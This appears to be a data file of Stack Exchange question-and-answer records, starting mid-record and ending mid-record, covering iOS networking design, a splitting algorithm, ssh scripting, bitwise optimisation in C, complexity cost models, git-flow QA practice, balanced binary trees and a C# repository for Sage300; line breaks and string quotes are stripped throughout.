NSObject@endSo far so good. No coupling and while we haven't been motivated to write a test yet we could easily test this User in isolation.On to #2. NetworkOperation is probably still a good name for this since we're probably going to be dealing with create, read, update, or destroy operations in order to synchronize the state of our User resource. We've only talked about reads so far but it might be useful to capture the type of an operation when we create it so that we know what it is trying to accomplish.This might be a good place to start writing tests. Let's think about creating a NetworkOperation (using Kiwi's BDD styntax).describe(@NetworkOperation, ^{  context(@when created, ^{      __block NetworkOperation *operation;      beforeEach(^{          operation = [NetworkOperation operationOfType:CRUDOperationTypeRead URL:[NSURL URLWithString:@example.com/users/1] withParameters:nil];      });      it(@has an operation type, ^{          [[theValue(operation.type) should] equal: theValue (CRUDOperationTypeRead)];      });      it(@use the specified URI, ^{          [[operation.URL should] equal:[NSURL URLWithString:@example.com/users/1]];      });  });});That's easy enough to build.typedef enum {  CRUDOperationTypeCreate,  CRUDOperationTypeRead,  CRUDOperationTypeUpdate,  CRUDOperationTypeDelete} CRUDOperationType;@interface NetworkOperation : NSObject@property(readonly) CRUDOperationType operationType;@property(readonly) NSURL *URL;- (id)operationOfType:(CRUDOperationType)type URL:(NSURL *)url withParameters:(NSDictionary *)parameters;@endSo we can create a NetworkOperation to encapsulate a request. That should also give us a good place to parse the response from whatever format was sent over the wire, we'll see about how to map it to our User domain object later. Who then should be responsible for actually creating NetworkOperations?We could follow the example in the original question and create operations inline when needed but, as noted, that's going to become hard to test and contributes to the coupling between the User model and the network classes. In order to separate the responsibilities of these classes it might be useful to be able to consider just the creation of a NetworkOperation as its own role. A Factory for building NetworkOperations for fetching Users.It does however seem reasonable for User to be the authority on how to locate its remote representation. We can use a Strategy to allow our domain model objects to act as Factories for their appropriate NetworkOperations.describe(@User, ^{  __block User *user;  beforeEach(^{    user = [[User alloc] init];  });  describe(@as a RemoteResource, ^{    it(@builds a read operation, ^{      NetworkOperation *read = [user buildReadOperation];      [[theValue(read.operationType) should] equal:theValue(CRUDOperationTypeRead)];    });  });});@protocol RemoteResource- (NetworkOperation *)buildReadOperation;@end@interface User : NSObject <RemoteResource>@endNow Users can define the NetworkOperations needed to update themselves but the consumer of those operations can work with generic RemoteResources (some of whom happen to be users).On to #3!We probably want to have an object which manages our network operations and it is going to need to exist for most, if not all, of the life of our application so that it can keep track of the state of our operation queue as we wait for operations to finish. Sounds like a good fit for a service (often presented as part of the controller layer of MVC but not a view controller and certainly not a UIViewController).describe(@RemoteResourceManager, ^{  context(@given an existing resource, ^{    context(@reading the resource, ^{      pending(@enqueues the read network operation);      pending(@sets a success callback block);      pending(@sets a failure callback block);    });  });});Hang on a second! That's sounds like a nice interface for updating a RemoteResource but we're not talking about NetworkOperations anymore. We could have this RemoteResourceManager maintain a queue of the operations it is using but that seems like an internal detail that would be hard to test. Looks like we skipped a step, let's create another service instead. Something the RemoteResourceManager can depend on to manage operations but which doesn't need to know anything about RemoteResources.describe(@NetworkOperationManager, ^{  context(@enqueuing an operation, ^{    pending(@adds the operation to the queue);    context(@when an equivalent operation is already in the queue, ^{      pending(@does not add the operation);    });  });  context(@when an operation succeeds, ^{    __block id mockOperation;    beforeEach(^{      mockOperation = [NetworkOperation mock];    });    pending(@calls the operation's success callback);    pending(@sends a notification containing the resource's identifier);  });  context(@when an operation fails, ^{    pending(@calls the operation's failure callback);    pending(@sends a failure notification containing the resource's identifier);  });});Now we can revist our RemoteResourceManager.describe(@RemoteResourceManager, ^{  __block RemoteResourceManager *manager;  __block id mockNetworkOperationManager;  beforeEach(^{    mockNetworkOperationManager = [NetworkOperationManager mock];    manager = [[RemoteResourceManager alloc] initWithNetworkOperationManager:mockNetworkOperationManager];  });  context(@given an existing resource, ^{    context(@reading the resource, ^{      __block id mockOperation;      __block id mockResource;      beforeEach(^{        mockOperation = [NetworkOperation mock];        mockResource = [KWMock mockForProtocol:RemoteResource];        [mockResource stub:@selector(buildReadOperation) andReturn:mockOperation];      });      it(@enqueues the read network operation, ^{        [[[mockNetworkOperationManager should] receive] enqueueOperation:mockOperation];        [manager read:mockResource];      });      pending(@sets a success callback block);      pending(@sets a failure callback block);    });  });});...and so on.For #4 we might extend the RemoteResource protocol to define a method to which we can pass data from our NetworkOperations in our success callbacks to apply updates to the model.#5 is a little tricky and really depends on what UX we aim to provide. We can probably start by providing our view controller with a shared RemoteResourceManager. We could do that via a singleton but I'm reluctant to do so. A singleton would introduce a strong and non-obvious coupling between the view controller and the resource manager. Besides its not wrong to have several resource managers in our app. We just want them to be able to outlive view controllers so that they have time to finish their operations even if the view controller that started them is no longer needed. The fact that the singleton would be hard to replace with a double in a test is a good hint that this might be a poor design decision.Instead I would provide an instance of an existing resource manager either via a dependency injection framework or explicitly pass one to the controller from its creator. Either way, we can easily substitute a test double for the resource manager to test our controller's interaction with it.The NetworkOperationManager spec hints at how we might update the UI to reflect the state of the operation queue. Our resource manager supplies callback blocks to react to the success and failure of operations. On the other hand our view controller may no longer exist (or at least no longer be visible) when the operation finishes. Instead of callbacks we can listed for notifications about the particular resource we are interested in. If the controller gets a notification we can update the view to show that an update has started or finished. When we no longer need to maintain that view the controller unsubscribes from the notifications and ignores them.git add .git commit -mstream of consciousness networking refactorgit push codereview 19307/dependency-inversion-injection-networking-code-in-model-classesHope that's useful."  } 
{  "id": "_cs.41262"  , "question": "Take a number i. You need to split it in two pieces as many times as necessary so that all splits are less than or equal to j. How does one obtain this with the minimum number of splits? Examples:Splitting it in half is optimal here:i = 4, j = 24 -> 2, 2 // (1 split)However, splitting in half is not optimal here:i = 9, j = 39 -> 5, 4 // Split nine in half5 -> 3, 2 // Then you have to split the 54 -> 2, 2 // and the 4 (3 splits)The optimal solution here would be:i = 9, j = 39 -> 6, 36 -> 3, 3 // (2 splits)Is there some straightforward way to obtain the optimal split without brute-force iteration?"  , "title": "Algorithm for fastest division below threshold"  , "tags": "algorithms"  , "accepted_answer": "The optimal strategy is the greedy one: repeatedly split chunks of size $j$. This strategy results in $\\lceil \\frac{i}{j} \\rceil - 1$ splits. We can prove that this strategy is optimal by induction on $i$. The strategy is clearly optimal for $i \\leq j$. Now suppose that we split $i > j$ as $i = i_1 + i_2$. In total, this choice will use up at least this many splits:$$1 + \\lceil \\tfrac{i_1}{j} \\rceil - 1 + \\lceil \\tfrac{i_2}{j} \\rceil - 1 = \\lceil \\tfrac{i_1}{j} \\rceil + \\lceil \\tfrac{i_2}{j} \\rceil - 1.$$Let $\\alpha = i/j$, $\\alpha_1 = i_1/j$, $\\alpha_2 = i_2/j$, so that $\\alpha = \\alpha_1 + \\alpha_2$. To complete the proof, notice that $\\lceil \\alpha_1 \\rceil + \\lceil \\alpha_2 \\rceil \\geq \\lceil \\alpha \\rceil$, and so the quantity above is always at least $\\lceil \\tfrac{i}{j} \\rceil - 1$, as claimed.I have described one optimal strategy. Using the proof above, we can actually describe all optimal strategies. Splitting $i$ to $i_1+i_2$ is optimal iff $\\lceil \\frac{i_1}{j} \\rceil + \\lceil \\frac{i_2}{j} \\rceil = \\lceil \\frac{i}{j} \\rceil$. When does that happen? Define$$i = aj-b, \\quad i_1 = a_1j-b_1, \\quad i_2 = a_2j-b_2,$$where $0 \\leq b,b_1,b_2 < j$. A splitting is optimal iff $a_1 + a_2 = a$. Notice that$$i_2 + i_2 = (a_1+a_2)j - b_1 - b_2.$$This shows that the splitting is optimal iff $b_1 + b_2 = b$ (rather than $b + j$)."  } 
{  "id": "_unix.204284"  , "question": "I'm trying to create a shell script which will execute some commands which I require frequently. I made the ssh login to skip the password prompt using a public/private key pair. and after some search, I'm able to execute some codes like:File: ssh.shssh -X root@172.16.0.1 << EOFcd /root/myDirgedit a.c b.cEOFBut I don't see any difference if I put like:ssh -X root@172.16.0.1 << EOFcd /root/myDirgedit a.c b.c &EOFThe & doesn't make any difference.With &, generally after executing gedit, it'll be sent to background and prompt will come. But I'm not getting the prompt after gedit. (Though whatever there in the next line is getting executed. Like if I put echo Hello, it's displaying Hello.)What's wrong here? Is there any other method?I want to do a SSH and execute some command through shell script. But I don't want to logout after the shell script finishes its execution. I want to logout manually after executing some of my own commands which are not repetitive like the above script."  , "title": "shell scripting remote commands through ssh"  , "tags": "shell script;ssh"  , "accepted_answer": "Without &, the script that you're executing remotely says change to /root/myDir, then execute gedit and wait for it to exit. The variant with & says not to wait for gedit to exit. Either way, the shell exits once it's executed the last command in the script.If you want to execute a script and then execute more commands that you type interactively, you need to execute an interactive shell at the end.ssh -Xt root@172.16.0.1 'cd /root/myDir && gedit a.c b.c; exec bash'The option -t tells SSH to set up a virtual terminal on the server; by default it doesn't do that when you pass a remote command to execute. exec bash at the end tells the shell to replace itself by a new instance of bash, which will be an interactive shell (showing a prompt, listening to your commands, etc.) since its input is coming from a terminal."  } 
{  "id": "_codereview.131694"  , "question": "The four parameters a, b, c and d can be -1 (meaning it's not set) or a random one of {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15}. If they are different from -1, they are guaranteed to be distinct.The code looks at the four least significant bits of the four ints and tests if they all have a bit in common:1101111001000101have the second left bit 1.1001101000000001all have the second left bit 0.1000011001011101have no common bit.The following is possible:a = -1, b = -1, c = 15, d =  4; //sim(a, b, c, d) == 0, because at least one is -1a = -1, b = -1, c = -1, d = -1; //sim(a, b, c, d) == 0, because all are -1a =  9, b =  1, c =  3, d =  5; //sim(a, b, c, d) == 1, because all values have a bit in common (a & 1, b & 1, c & 1 and d & 1 are all 1)a =  8, b =  1, c =  2, d =  4; //sim(a, b, c, d) == 0, because there is no bit that is equal for a, b, c and dThe following will never happen:a = 1, b = 1, c = 2, d = 5; // a == b, which is guaranteed to never happen because a == bThe code is meant to be as fast as possible on x86, readability would be a plus but is not necessary.The code:int sim(int a, int b, int c, int d){    return ((a != -1) && (b != -1) && (c != -1) && (d != -1)) &&    ((((a & 8) == (b & 8)) && ((a & 8) == (c & 8)) && ((a & 8) == (d & 8))) ||     (((a & 4) == (b & 4)) && ((a & 4) == (c & 4)) && ((a & 4) == (d & 4))) ||     (((a & 2) == (b & 2)) && ((a & 2) == (c & 2)) && ((a & 2) == (d & 2))) ||     (((a & 1) == (b & 1)) && ((a & 1) == (c & 1)) && ((a & 1) == (d & 1))));}Are there obvious ways to speed up the code?"  , "title": "Test four int of commonality in the lower four bits"  , "tags": "performance;c;bitwise"  , "accepted_answer": "The code isn't bad, but it's a little more verbose than it needs to be.  Consider that we don't really need to check one bit at a time; we can check four simultaneously.The key here is that we're looking for bits that are the same in all four numbers.  If we wanted to look for ones that were shared, we could do this:a & b & c & d & 0xfIf we want to look for zeroes, we can simply invert:~a & ~b & ~c & ~d & 0xfIf we put those together with the -1 part, it might look like this:return a != -1 && b != -1 && c != -1 && d != -1 &&    ((a & b & c & d) || (~a & ~b & ~c & ~d & 0xf));However, the problem with this is that even though it's parallel, it still requires more operations than might be required.If we consider the exclusive or function, it effectively return a 1 whenever the bits differ.  So if there were only two numbers, we could do:return (a ^ b) ^ 0xf;The expression would only be false if all of the bits were different.  We can use a similar strategy for three numbers.return ((a ^ b) | (b ^ c)) ^ 0xf;For this one, (a ^ b) returns 1 for every bit that is not the same between a and b, and the expression (b ^ c) returns 1 for every bit that is not the same between b and c.  When we do a bitwise or of those quantities, only the the bits that are the same for all three quanties remain zeroes.  When we do ^ 0xf we invert the bottom 4 bits so that only bits that are the same are ones.Extrapolating this to four quantities,return ((a ^ b) | (b ^ c) | (c ^ d)) ^ 0xf;This is good but not sufficient since we still need to deal with the possible -1 quantities that may be among the inputs.  One obvious way to do this is this:return a != -1 && b != -1 && c != -1 && d != -1 &&    (((a ^ b) | (b ^ c) | (c ^ d)) ^ 0xf);To compare this routine which I'll call Edward to the one above, which I'll call naive to the original and the other three proposals so far, I used this code:testcode.c#include <stdio.h>#include <stdlib.h>#include <time.h>#include <math.h>#include <stdbool.h>bool sim(int a, int b, int c, int d){    return ((a != -1) && (b != -1) && (c != -1) && (d != -1)) &&    ((((a & 8) == (b & 8)) && ((a & 8) == (c & 8)) && ((a & 8) == (d & 8))) ||     (((a & 4) == (b & 4)) && ((a & 4) == (c & 4)) && ((a & 4) == (d & 4))) ||     (((a & 2) == (b & 2)) && ((a & 2) == (c & 2)) && ((a & 2) == (d & 2))) ||     (((a & 1) == (b & 1)) && ((a & 1) == (c & 1)) && ((a & 1) == (d & 1))));}bool naive(int a, int b, int c, int d){    return a != -1 && b != -1 && c != -1 && d != -1 &&        ((a & b & c & d) || (~a & ~b & ~c & ~d & 0xf));}bool edward(int a, int b, int c, int d){    return a != -1 && b != -1 && c != -1 && d != -1 &&        (((a ^ b) | (b ^ c) | (c ^ d)) ^ 0xf);}bool BitsInCommon(int a, int b, int c, int d){    if (a == -1 || b == -1 || c == -1 || d == -1)        return false;    int rslt = 0;    rslt = (a & 15) & (b & 15) & (c & 15) & (d & 15);    if (rslt != 0)        return true;    //check for zero bits in common???  if needed?    rslt = ((a ^ -1) & 15) & ((b ^ -1) & 15) & ((c ^ -1) & 15) & ((d ^ -1) & 15);    return rslt != 0;}bool jan_korous(int a, int b, int c, int d) {    if( a == -1 || b == -1 || c == -1 || d == -1 ) { return 0; }    const unsigned int diff = (a ^ b) | (c ^ d) | (a ^ c);    return         ( (diff & 1) == 0 ) ||         ( (diff & 2) == 0 ) ||         ( (diff & 4) == 0 ) ||         ( (diff & 8) == 0 );}bool scottbb(int a, int b, int c, int d) {    if (a == -1 || b == -1 || c == -1 || d == -1) {        return 0;    }    else {        unsigned int all_1 = (unsigned int)a & (unsigned int)b &                             (unsigned int)c & (unsigned int)d;        unsigned int all_0 = ~((unsigned int)a | (unsigned int)b |                               (unsigned int)c | (unsigned int)d);        return (all_1 | (all_0 & 0xF)) ? 1 : 0;    }}int main(){    bool troubleshoot = false;    struct {        const char *name;        bool (*func)(int, int, int, int);        double elapsed;        bool isCorrect;    } tests[] = {        { original, sim, 0, true },        { naive, naive, 0, true },        { Edward, edward, 0, true },        { dbasnett, BitsInCommon, 0, true },        { Jan Korous, jan_korous, 0, true },        { scottbb, scottbb, 0, true},        { NULL, NULL, 0, false}    };    // see if they're all correct    for (int a = -1; a < 16; ++a) {        for (int b = -1; b < 16; ++b) {            for (int c = -1; c < 16; ++c) {                for (int d = -1; d < 16; ++d) {                    for (size_t i = 1; tests[i].func; ++i) {                        if (tests[i].func(a,b,c,d) != tests[0].func(a,b,c,d)) {                            if (troubleshoot) {                                printf(%s failed! [%d, %d, %d, %d] => %d, should have been %d\\n,                                    tests[i].name, a, b, c, d,                                     tests[i].func(a, b, c, d),                                     tests[0].func(a, b, c, d)                                 );                            }                            tests[i].isCorrect = false;                            if (troubleshoot)                                 return -1;                        }                    }                }            }        }    }    puts(All functions checked for accuracy; checking timing...);    for (int iterations = 100; iterations; --iterations) {        for (size_t i = 0; tests[i].func; ++i) {            if (tests[i].isCorrect) {                for (int a = -1; a < 16; ++a) {                    for (int b = -1; b < 16; ++b) {                        for (int c = -1; c < 16; ++c) {                            for (int d = -1; d < 16; ++d) {                                clock_t start = clock();                                tests[i].func(a,b,c,d);                                tests[i].elapsed += clock() - start;                            }                        }                    }                }            }        }    }    // print results    for (size_t i = 0; tests[i].func; ++i) {        if (tests[i].isCorrect) {            printf(%12s\\t%.10f\\t%f%% %s than %s\\n, tests[i].name, tests[i].elapsed,                100.0*fabs(tests[i].elapsed-tests[0].elapsed)/tests[0].elapsed,                 (tests[i].elapsed > tests[0].elapsed ? slower : faster),                tests[0].name            );        } else {            printf(%12s\\twas not correct; no time recorded\\n, tests[i].name);        }    }}Results:Note: I've updated the results to include everybody's correct versions and to include the two solutions proposed by @js1 although I didn't bother duplicating the source code for those solutions in the code above.All functions checked for accuracy; checking timing...    original    1052389.0000000000  0.000000% faster than original       naive    1034792.0000000000  1.672100% faster than original      Edward    1024637.0000000000  2.637048% faster than original    dbasnett    1032151.0000000000  1.923053% faster than original  Jan Korous    1028349.0000000000  2.284326% faster than original     scottbb    1026372.0000000000  2.472185% faster than original         JS1    1035062.0000000000  1.646444% faster than original  JS1 Lookup    1023049.0000000000  2.787942% faster than originalSo in my tests, on a quad-core x86_64 machine, the Edward and Jan Korous routines are nearly identical in time and both are a small improvement (approximately 2%) over the original.  There was a slight but persistent speed advantage to the JS1 Lookup version on this machine.Compile command (Linux) was:gcc -O2 -std=c99 testcode.c -o testcode && ./testcodeOn a quad core ARM7, I got this result with the same code:All functions checked for accuracy; checking timing...    original    17302157.0000000000 0.000000% faster than original       naive    17211229.0000000000 0.525530% faster than original      Edward    17231692.0000000000 0.407261% faster than original    dbasnett    17255411.0000000000 0.270174% faster than original  Jan Korous    17115011.0000000000 1.081634% faster than original     scottbb    17120390.0000000000 1.050545% faster than original         JS1    17267606.0000000000 0.199692% faster than original  JS1 Lookup    17118642.0000000000 1.060648% faster than originalI also tested on Windows under Cygwin, but found that the variability in timing on that platform was so large as to render the test results meaningless.  As an example, here are four successive runs on that platform:All functions checked for accuracy; checking timing...    original    1902.0000000000 0.000000% faster than original       naive    2124.0000000000 11.671924% slower than original      Edward    2182.0000000000 14.721346% slower than original    dbasnett    2091.0000000000 9.936909% slower than original  Jan Korous    1980.0000000000 4.100946% slower than original     scottbb    2144.0000000000 12.723449% slower than original         JS1    2276.0000000000 19.663512% slower than original  JS1 Lookup    2075.0000000000 9.095689% slower than originalAll functions checked for accuracy; checking timing...    original    2174.0000000000 0.000000% faster than original       naive    2121.0000000000 2.437902% faster than original      Edward    2088.0000000000 3.955842% faster than original    dbasnett    2055.0000000000 5.473781% faster than original  Jan Korous    2136.0000000000 1.747930% faster than original     scottbb    2109.0000000000 2.989880% faster than original         JS1    1855.0000000000 14.673413% faster than original  JS1 Lookup    2149.0000000000 1.149954% faster than originalAll functions checked for accuracy; checking timing...    original    2073.0000000000 0.000000% faster than original       naive    2154.0000000000 3.907381% slower than original      Edward    1960.0000000000 5.451037% faster than original    dbasnett    2288.0000000000 10.371442% slower than original  Jan Korous    2032.0000000000 1.977810% faster than original     scottbb    2091.0000000000 0.868307% slower than original         JS1    2245.0000000000 8.297154% slower than original  JS1 Lookup    2138.0000000000 3.135552% slower than originalAll functions checked for accuracy; checking timing...    original    2158.0000000000 0.000000% faster than original       naive    2277.0000000000 5.514365% slower than original      Edward    1840.0000000000 14.735867% faster than original    dbasnett    2081.0000000000 3.568119% faster than original  Jan Korous    2135.0000000000 1.065802% faster than original     scottbb    2228.0000000000 3.243744% slower than original         JS1    1969.0000000000 8.758109% faster than original  JS1 Lookup    2010.0000000000 6.858202% faster than original"  } 
{  "id": "_cstheory.10063"  , "question": "I'm a math student and have encountered the concept of (mainly time) complexity of algorithms in several courses so far (Analysis of Algorithms, Cryptography, Numerical Analysis). However what strikes me as odd is that the definitions I have encountered so far seem to differ greatly. In particular, the differences that I have noted areDifference between the uniform and logarithmic cost models: this can, for example, make a difference, when evaluating the time complexity of something like for i = 1, 2, ..., n do c(i),where c(i) is an instruction such that the number of bits involved depends on i.  When dealing with, say, sorting algorithms, all references I have ever come across adopt the uniform cost model, while in Cryptography, the time complexity of algorithms is always calculated in terms of bit operations. Another difference is the definition of the size of an input: again, in sorting algorithms, the size of the input is simply the length of the vector that has to be sorted (as in graph searching algorithms, the number of nodes and edges). In Cryptography and Computational Number Theory, instead, the size of the input is always the number of bits involved. I don't know if this distinction is considered part of 1. , but it certainly makes a huge difference, since an algorithm that is linear using the first criterion, becomes exponential when adopting the second. Factorizing integers would be linear (actually, $O(\\log{n} \\sqrt{n})$) if we considered the input size of $n$ to be $n$.One could justify these discrepancies with arguments such as well, in Number Theory we are dealing with large integers, so adopting a more realistic model makes more sense. But this defies the whole purpose of evaluating asymptotic expressions for the complexity of algorithms! If, in certain contexts, we knew that all inputs were smaller then a fixed quantity, then everything would be $O(1)$. Also, how can it be possible to define, without ambiguity, complexity classes and other rigorous Computer Science concepts, when the definition of complexity varies from field to field?  "  , "title": "Different definitions of complexity"  , "tags": "cc.complexity theory;soft question;time complexity"  , "accepted_answer": "The performances of an algorithm are always analyzed in the context of a well defined computational model. Traditional sequential models, e.g. the RAM model, assume that:All memory accesses are equally expensive;There are no concurrent operations; All reasonable instructions take unit time;With the notable exception of function calls!Constant word size;Unless we are explicitly manipulating bits!In Cryptography and strictly related fields, you can not assume that arbitrary precision arithmetic operations can be performed in constant time; so adding two n bits numbers requires $O(n)$ instead of $O(1)$, multiplying them requires $O(n \\lg n)$ using the Fast Fourier Transform (there are better algorithms) etc.In practice, using the uniform or the logarithmic cost model strictly depends on the target application. Even using the uniform cost model, please consider carefully what the size of the input actually is. Here you must remember that the efficiency of solving a problem strictly depends on how you encode the problem. As an example, consider a simple algorithm requiring as input just an integer $x$, and whose complexity is $O(x)$. For instance, think about a loop that is executed $x$ times, and in each iteration of the loop you perform an operation requiring $O(1)$. So, you conclude that the algorithm is linear in $x$.However, if you encode the input $x$ using the traditional binary representation of the integer $x$, then the input length is $n = \\lfloor \\log x \\rfloor +1$. Therefore, the running time of the algorithm is $O(x) = O(2^n)$, which is exponential in the size of the input! "  } 
{  "id": "_softwareengineering.279299"  , "question": "I have a question about working with independent testers doing manual testing (not about automated unit and regression testing.)In a flow process I do my work on a feature branch until I'm confident that it works and I haven't introduced bugs.  I merge from the develop branch to my feature, late and often, to ensure I haven't broken anything in merges with other recent work.  Sometimes I'll even do it again during the testing phase, so that the tester can work with the most recent snapshot.  Still, there's always a small window of time after testing where new work can -- and in high traffic times does -- come in from other features.  This means that the merge back to the develop/release branch is sometimes not trivial, despite our treating it like it should be.  (Sometimes it's even iterative: by the time I'm done making sure I've correctly integrated one feature that's slipped in, running regression tests, checking the code, and doing some manual testing, yet another one has come in.)My question is, is there a workflow for developers and testers where you don't lose out on the safety net of testers for that last step (but also hopefully don't need to ask again and again for re-testing tested work)?  What are industry best practices here?  If we could assure that branches won't interfere with one another, we'd be fine, but in practice we get conflicts sometimes.I'll add that I'm sure we don't want to do our main testing on the develop/release branch.  It's been a huge win and stress-reducer since we switched to flow.  We can easily put off releasing work that's created a problem or raised a question during testing.  In our pre-flow practice, we wound up with emergencies near a release, where a problem was found that we had to deal with urgently before releasing because the work of a non-critical feature was already merged into the main branch for testing."  , "title": "How do you get complete manual testing by QA in a git/hg flow development process?"  , "tags": "testing;development process"  } 
{  "id": "_codereview.119934"  , "question": "Can someone please review my code and let me know if there are some bugs or possible improvements?    /** * Definition for a binary tree node. * public class TreeNode { *     int val; *     TreeNode left; *     TreeNode right; *     TreeNode(int x) { val = x; } * } */public class Solution {    //return true if the root node is null or there is only root node.    public boolean isBalanced(TreeNode root) {        if (root == null || (root != null && root.left == null && root.right == null)) {            return true;        } else {            int balancedRight = 0;            int balancedLeft = 0;            if (root.left != null) {                balancedLeft = findHeight(root.left);            }            if (root.right != null) {                balancedRight = findHeight(root.right);            }            return Math.abs(balancedLeft - balancedRight) <= 1 ? true : false;        }    }//find the height of the tree    public int findHeight(TreeNode root) {        if (root == null) {            return 0;        } else if (root.left == null && root.right == null) {            return 1;        } else if (root.left == null && root.right != null) {            return 1 + findHeight(root.right);        } else if (root.left != null && root.right == null) {            return 1 + findHeight(root.left);        } else {            return Math.max(1+findHeight(root.left), 1+findHeight(root.right));        }    }}"  , "title": "Finding if the tree is balanced or not"  , "tags": "java;tree;interview questions"  , "accepted_answer": "First of all, your algorithm checks if the root of the tree is balanced or not. Rather, it should check for 3 conditions, whether the root , left subtree and right subtree are balanced or not.So check for this recursively,Math.abs(leftSubtreeHeight - rightSubtreeHeight) <= 1) &&            isBalanced(root.left) && isBalanced(root.right)Moreover, your height method is doing too many unnecessary checks. It can be simply reduced to :-private int treeHeight(TreeNode root) {if(root == null)    return 0;return Integer.max(treeHeight(root.left),treeHeight(root.right) ) +1;}take this as an example:-else if (root.left == null && root.right != null) {        return 1 + findHeight(root.right);in this, if root.left is null, then it will return 0. Hence, from the recursive call of the root, you'll get return 1 + Math.max(findHeight(root.left), findHeight(root.right));findHeight(root.left) will return 0 and you'll be left with just 1 + findHeight(root.right) which is what you have manually written.Also, it's better to keep the treeHeight(TreeNode root) function private if nobody outside this class is going to use it.You need not write else after this if (root == null || (root != null && root.left == null && root.right == null)) {        return true;    } else {because if you returned from the if statement then anyways you won't go further. And, if the if condition doesn't return true, you'll go to the else part anyways.Also, change the names from:-balancedRight to rightSubtreeHeight,balancedLeft to leftSubtreeHeight,isBalanced to isTreeBalancedAdditionally, you need not have this condition|| (root != null && root.left == null && root.right == null)because, if the root.left == null, it's height would be 0 and 0 will be returned from the right hand side as well. So, for root node, you received 0 from both left and right. Now, the difference between them is 0 which is <=1. The above code is anyways checking that using recursion.Try to make the entire recursion tree for various problems to have a better understanding of how recursion works. By knowing the power of recursion, you can make your code more elegant.The whole code could be reduced to public boolean isTreeBalanced(TreeNode root){    if(root == null)        return true;    int leftSubtreeHeight = treeHeight(root.left);    int rightSubtreeHeight = treeHeight(root.right);    if((Math.abs(leftSubtreeHeight - rightSubtreeHeight) <= 1) &&            isTreeBalanced(root.left) && isTreeBalanced(root.right))        return true;    return false;}private int treeHeight(TreeNode root) {    if(root == null)        return 0;    return Integer.max(treeHeight(root.left),treeHeight(root.right) ) +1;}Edit: However, if we look further deeply, we can find out the time complexity of the algorithm can be reduced further(from O(N^2) to O(N)) because isBalancedTree and treeHeight are going through same pattern of recursion. We can get the result in one traversal of the tree. Here is the code:-public boolean isBalanced(TreeNode root) {    if(root == null)        return true;    if(helper(root) != -1)        return true;    else        return false;}private static int helper(TreeNode root) {    if(root == null)        return 0;    int lefth = helper(root.left);    int righth = helper(root.right);    if(lefth == -1 || righth == -1)        return -1;    if( Math.abs(lefth - righth) <= 1)        return Math.max(lefth, righth) + 1;    else        return -1;}Edit: The code could be further compressed by removing unnecessary if else statements.    public boolean isBalanced(TreeNode root) {    if(root == null)        return true;    return helper(root) != -1;}private static int helper(TreeNode root) {    if(root == null)        return 0;    int lefth = helper(root.left);    int righth = helper(root.right);    if(lefth == -1 || righth == -1)        return -1;    if( Math.abs(lefth - righth) <= 1)        return Math.max(lefth, righth) + 1;    else        return -1;}"  } 
{  "id": "_codereview.118970"  , "question": "Related: Something like a LINQ providerI needed to work with the Sage300 View API. I had never worked with it, but my first impression has been that the API is stringly-typed, and makes you write very procedural and repetitive code.So I decided to make my life easier, and wrap it with a familiar interface:public interface IRepository<TEntity> where TEntity : class, new(){    /// <summary>    /// Projects all entities that match specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <param name=filter>A function expression that returns <c>true</c> for all entities to return.</param>    /// <returns></returns>    IEnumerable<TEntity> Select(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Projects the single that matches specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <exception cref=InvalidOperationException>Thrown when predicate matches more than a single result.</exception>    /// <param name=filter>A function expression that returns <c>true</c> for the only entity to return.</param>    /// <returns></returns>    TEntity Single(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Updates the underlying View for the specified entity.    /// </summary>    /// <param name=entity>The existing entity with the modified property values.</param>    void Update(TEntity entity);    /// <summary>    /// Deletes the specified entity from the underlying View.    /// </summary>    /// <param name=entity>The existing entity to remove.</param>    void Delete(TEntity entity);    /// <summary>    /// Inserts a new entity into the underlying View.    /// </summary>    /// <param name=entity>A non-existing entity to create in the system.</param>    void Insert(TEntity entity);}So, to implement a repository, I make a simple POCO class, and I use a custom MapsToAttribute to tell the engine how to map the class and its properties to a View and its fields - note, SageViews is an internal static class exposing nothing but internal const string members:[MapsTo(SageViews.HeadersViewId)]public class PurchaseOrderHeader{    [MapsTo(PONUMBER)]    public string Number { get; set; }    [MapsTo(VDCODE)]    public string VendorCode { get; set; }    [MapsTo(PORTYPE)]    public PurchaseOrderType Type { get; set; }    [MapsTo(ONHOLD)]    public bool IsOnHold { get; set; }    [MapsTo(ORDEREDON)]    public DateTime OrderDate { get; set; }    [MapsTo(EXPARRIVAL)]    public DateTime ExpectedDate { get; set; }    [MapsTo(FOBPOINT)]    public string FreeOnBoardPoint { get; set; }    [MapsTo(VIACODE)]    public string ShipViaCode { get; set; }    [MapsTo(VIANAME)]    public string ShipViaName { get; set; }    [MapsTo(TERMSCODE)]    public string TermsCode { get; set; }    [MapsTo(TERMSCODED)]    public string TermsName { get; set; }    [MapsTo(DESCRIPTIO)]    public string Description { get; set; }    [MapsTo(REFERENCE)]    public string Reference { get; set; }    [MapsTo(COMMENT)]    public string Comment { get; set; }}I decided to implement the interface in a base class first, to avoid having to implement the same reflection code over and over for every entity:/// <summary>/// Encapsulates a View and its CRUD operations./// </summary>/// <typeparam name=TEntity>The entity type associated with the view.</typeparam>/// <remarks>/// <see cref=TEntity/> should be a POCO class exposing get/set properties/// marked with a <see cref=MapsToAttribute/>./// </remarks>public abstract class SageRepositoryBase<TEntity> : IRepository<TEntity>     where TEntity : class, new(){    /// <summary>    /// Uses reflection to discover <see cref=MapsToAttribute/> mappings on specified <see cref=TEntity/> type    /// and reflects on specified <see cref=entity/> to retrieve property values, mapped to the appropriate field.    /// </summary>    /// <param name=entity>The entity object to retrieve mapped values for.</param>    /// <returns>    /// Returns a dictionary keyed with View names, where each entry contains all values for that view.    /// </returns>    protected IDictionary<string, IEnumerable<EntityPropertyInfo<TEntity>>> DiscoverMappedValues(TEntity entity)    {        return entity.GetPropertyInfos()                     .GroupBy(property => property.ViewName)                     .ToDictionary(grouping => grouping.Key, grouping => grouping.AsEnumerable());    }    /// <summary>    /// Uses reflection to discover <see cref=MapsToAttribute/> mappings and fetch     /// property values from the mapped views and fields.    /// </summary>    /// <returns>    /// Returns an entity representing the current/active record in the composed views.    /// </returns>    protected TEntity ReadEntity()    {        var result = new TEntity();        var properties = result.GetPropertyInfos();        foreach (var property in properties)        {            property.Property.SetValue(result, Views[property.ViewName].Fields.FieldByName(property.FieldName).Value);        }        return result;    }    /// 